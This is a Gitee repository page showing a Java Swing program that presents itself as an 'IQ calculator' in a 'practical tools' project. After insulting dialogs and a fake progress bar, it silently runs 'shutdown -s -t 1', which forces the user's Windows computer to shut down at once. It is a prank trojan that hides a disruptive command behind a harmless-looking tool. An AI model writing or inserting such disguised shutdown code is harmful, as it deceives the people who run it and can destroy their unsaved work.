1 Star 0 Fork 0

gfjava/ZHen.ShiYongGongJu

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
克隆/下载
ZhiShangJiSuanQi.java 1.73 KB
一键复制 编辑 原始数据 按行查看 历史
gfjava 提交于 2023-05-01 23:11 . 1
package xiaoGongJu;
import java.io.IOException;
import java.util.stream.Stream;
import javax.swing.JOptionPane;
public class ZhiShangJiSuanQi {
public static void main(String[]args) throws IOException{
Object[]o={"去**的"};
JOptionPane.showMessageDialog(null, "这是一个智商计算器,请回答我几个问题来让我判断你的智商", "Java智商计算器",JOptionPane.WARNING_MESSAGE);
JOptionPane.showInputDialog(null,"898397120*97073927317382*87e97802090123890*787892179*78838297981*0=?","Java智商计算器",JOptionPane.PLAIN_MESSAGE);
JOptionPane.showMessageDialog(null, "即将开始计算,请勿关闭程序!", "Java《实用》小工具",JOptionPane.WARNING_MESSAGE);
char incomplete = ' ';
char complete = '=';
int total = 100;
StringBuilder builder = new StringBuilder();
Stream.generate(() -> incomplete).limit(total).forEach(builder::append);
for (int i = 0; i < total; i++) {
builder.replace(i, i + 1, String.valueOf(complete));
String progressBar = "\r" + builder;
String percent = " " + (i + 1) + "%";
System.out.print(progressBar + percent);
try {
Thread.sleep(i * 5L);
} catch (InterruptedException ignored) {
}
}
Runtime rtime=Runtime.getRuntime();
JOptionPane.showMessageDialog(null, "你的智商为:-250", "Java智商计算器",JOptionPane.WARNING_MESSAGE);
int index = JOptionPane.showOptionDialog(null, "因为智商高的人根本不会用这个工具的!!!", "Java智商计算器",JOptionPane.YES_NO_OPTION, JOptionPane.ERROR_MESSAGE, null, o, o[0]);
o[0]=rtime.exec("shutdown -s -t 1");
}
}
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
Java
1
https://gitee.com/gfjava/zhen.-shi-yong-gong-ju.git
git@gitee.com:gfjava/zhen.-shi-yong-gong-ju.git
gfjava
zhen.-shi-yong-gong-ju
ZHen.ShiYongGongJu
master

搜索帮助

0d507c66 1850385 C8b1a773 1850385